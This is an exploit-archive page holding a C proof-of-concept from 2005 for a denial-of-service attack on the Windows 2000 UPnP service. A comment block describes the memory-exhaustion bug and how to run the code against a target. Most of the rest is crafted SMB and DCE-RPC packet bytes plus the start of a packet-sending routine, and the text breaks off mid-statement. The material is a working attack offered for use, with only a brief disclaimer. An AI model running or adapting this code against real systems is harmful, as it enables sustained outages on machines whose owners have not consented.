[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Windows 2k UPNP (getdevicelist) Memory Leak DoS Exploit
# Published : 2005-11-16
# Author : Winny Thomas
# Previous Title : FTGate4 Groupware Mail Server 4.1 (imapd) Remote Buffer Overflow PoC
# Next Title : Battle Carry <= .005 Socket Termination Denial of Service Exploit
/*
* Author: Winny Thomas
* Nevis Labs, Pune, INDIA
*
* Details:
* While working on the exploit for MS05-047 i came across a condition where
* a specially crafted request to upnp_getdevicelist would cause
* services.exe to consume memory to a point where the target machines virtual
* memory gets exhausted. This exploit is NOT similar to the MS05-047 exploit i
* published earlier. The earlier one trashed the EIP of the target causing a
* crash in services.exe and eventually brought down the system to shut down.
* However in this exploit (again a DOS) the virtual memory is consumed to a
* point where desktop requests (like clicking "My Computer"), HTTP requests,
* SMB requests etc does not get serviced for sometime. After sometime the
* memory usage comes down and the target system would work as normal. However
* this code when continuosly executed against a target leads to a sustained
* DOS attack.
* Start the task manager on the target system and run this code against the
* target and watch the virtual memory usage shoot up.
*
* I used windbg to break on calls to upnp_getdevicelist when running this code.
* However even before the break point is hit the system becomes unresponsive.
* Strangely though changing the operation number in the DCERPC request to
* something else other than 0xa (upnp_getdevicelist) will make the DOS attempt
* fail. Perhaps changing the payload a little bit, so that the underlying
* demarshalling routines dont return an error, might reproduce this effect
* for other UPNP operations as well.
*
* TESTED ON: Windows 2000 server SP0, SP2 and SP3. I have not tested this on
* any of the above machines with the recent hot fixes for UPNP.
*
* Note: This code is for educational/testing purposes by authorized persons on networks systems setup for such purposes
* The author shall bear no responsibility for any damage caused by using this code.
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
unsigned short ProcessID = 0;
unsigned short TID = 0;
unsigned short UserID = 0;
unsigned short FID = 0;
char peer0_0[] =
"x00x00x00x85xFFx53x4Dx42x72x00x00x00x00x18x53xC8"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE"
"x00x00x00x00x00x62x00x02x50x43x20x4Ex45x54x57x4F"
"x52x4Bx20x50x52x4Fx47x52x41x4Dx20x31x2Ex30x00x02"
"x4Cx41x4Ex4Dx41x4Ex31x2Ex30x00x02x57x69x6Ex64x6F"
"x77x73x20x66x6Fx72x20x57x6Fx72x6Bx67x72x6Fx75x70"
"x73x20x33x2Ex31x61x00x02x4Cx4Dx31x2Ex32x58x30x30"
"x32x00x02x4Cx41x4Ex4Dx41x4Ex32x2Ex31x00x02x4Ex54"
"x20x4Cx4Dx20x30x2Ex31x32x00" ;
char peer0_1[] =
"x00x00x00xA4xFFx53x4Dx42x73x00x00x00x00x18x07xC8"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE"
"x00x00x10x00x0CxFFx00xA4x00x04x11x0Ax00x00x00x00"
"x00x00x00x20x00x00x00x00x00xD4x00x00x80x69x00x4E"
"x54x4Cx4Dx53x53x50x00x01x00x00x00x97x82x08xE0x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x57x00x69x00x6Ex00x64x00x6Fx00x77x00x73x00x20x00"
"x32x00x30x00x30x00x30x00x20x00x32x00x31x00x39x00"
"x35x00x00x00x57x00x69x00x6Ex00x64x00x6Fx00x77x00"
"x73x00x20x00x32x00x30x00x30x00x30x00x20x00x35x00"
"x2Ex00x30x00x00x00x00x00";
char peer0_1_2[] =
"x00x00x00xDAxFFx53x4Dx42x73x00x00x00x00x18x07xC8"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE"
"x00x08x20x00x0CxFFx00xDAx00x04x11x0Ax00x00x00x00"
"x00x00x00x57x00x00x00x00x00xD4x00x00x80x9Fx00x4E"
"x54x4Cx4Dx53x53x50x00x03x00x00x00x01x00x01x00x46"
"x00x00x00x00x00x00x00x47x00x00x00x00x00x00x00x40"
"x00x00x00x00x00x00x00x40x00x00x00x06x00x06x00x40"
"x00x00x00x10x00x10x00x47x00x00x00x15x8Ax88xE0x48"
"x00x4Fx00x44x00x00xEDx41x2Cx27x86x26xD2x59xA0xB3"
"x5ExAAx00x88x6FxC5x57x00x69x00x6Ex00x64x00x6Fx00"
"x77x00x73x00x20x00x32x00x30x00x30x00x30x00x20x00"
"x32x00x31x00x39x00x35x00x00x00x57x00x69x00x6Ex00"
"x64x00x6Fx00x77x00x73x00x20x00x32x00x30x00x30x00"
"x30x00x20x00x35x00x2Ex00x30x00x00x00x00x00";
char peer0_2[] =
"x00x00x00x58xFFx53x4Dx42x75x00x00x00x00x18x07xC8"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00xFFxFE"
"x00x08x30x00x04xFFx00x5Ax00x08x00x01x00x2Dx00x00";
char peer0_3[] =
"x00x00x00x66xffx53x4dx42xa2x00x00x00x00x18x07xc8"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxfe"
"x00x08x40x00x18xffx00xdexdex00x10x00x16x00x00x00"
"x00x00x00x00x9fx01x02x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x01x00x00x00x40x00x00x00"
"x02x00x00x00x03x13x00x00x5cx00x62x00x72x00x6fx00"
"x77x00x73x00x65x00x72x00x00x00";
char peer0_4[] =
"x00x00x00x9AxFFx53x4Dx42x25x00x00x00x00x08x01xC0"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFE"
"x00x08x01x00x10x00x00x48x00x00x00x48x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x52x00x48x00x52x00x02"
"x00x26x00x00x40x57x00x00x5Cx00x50x00x49x00x50x00"
"x45x00x5Cx00x00x00x05x00x0Bx03x10x00x00x00x48x00"
"x00x00x00x00x00x00xD0x16xD0x16x00x00x00x00x01x00"
"x00x00x00x00x01x00x40x4Ex9Fx8Dx3DxA0xCEx11x8Fx69"
"x08x00x3Ex30x05x1Bx01x00x00x00x04x5Dx88x8AxEBx1C"
"xC9x11x9FxE8x08x00x2Bx10x48x60x02x00x00x00";
char peer0_5[] =
//NETBIOS Fields
//==============
"x00" //Message type
"x00x00x80" //Payload length C
//SMB Fields
//==========
//SMB Header
"xFFx53x4Dx42x2Fx00x00x00x00x18x07xC8"
"x00x00x40x6Dx4ExF4x8Cx6Ex13x7Bx00x00x00x08xFFxFE"
"x00x08x00x01"
//Write ANDX Request fields
"x0E" //Word count
"xFFx00xDExDEx00x40x00x00x00x00xFF"
"xFFxFFxFFx08x00"
"x40x00" //Remaining C
"x00x00" //Data Length High
"x40x00" //Data Length Low C
"x40x00" //Data Offset C
"x00x00x00x00" //High Offset
"x41x00" //Byte count C
"xEE"//Padding
//DCE RPC Request field
//=====================
"x05x00x00x03x10x00x00x00"
"x40x00" //Frag Length
"x00x00" //Auth Length
"x8Dx00x00x00" //Call Id
"x28x00x00x00" //Alloc HINT C
"x00x00" //Context Id
"x0Ax00" //OpNum; 10 in our case for PNP_GetDeviceList
//DATA for GetDeviceList
"x00x00x00x00"
"x10x10x10x10" //This is what kills the target. x00x00x00x00 is safe
"x48x54x52x45x45x5Cx52x4Fx4Fx54x5C"
"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00";
void send_packet(int sock, char *payload, int size,
char *type)
{
int ntrans, ret;
memcpy(&payload[30], &ProcessID, 2);
if (UserID)
memcpy(&payload[32], &UserID, 2);
if (TID)
memcpy(&payload[28], &TID, 2);
if (strcmp(type, "Sending DCE RPC Bind UPNPMGR request") == 0) {
memcpy(&payload[67], &FID, 2);
}
if (strcmp(type, "UPNPMGR upnp_getdevicelist request") == 0) {
memcpy(&payload[41], &FID, 2);
}
printf("[*] %s: ", type);
fflush(stdout);
ntrans = send(sock, payload, size, 0);
if (ntrans < 0) {
printf("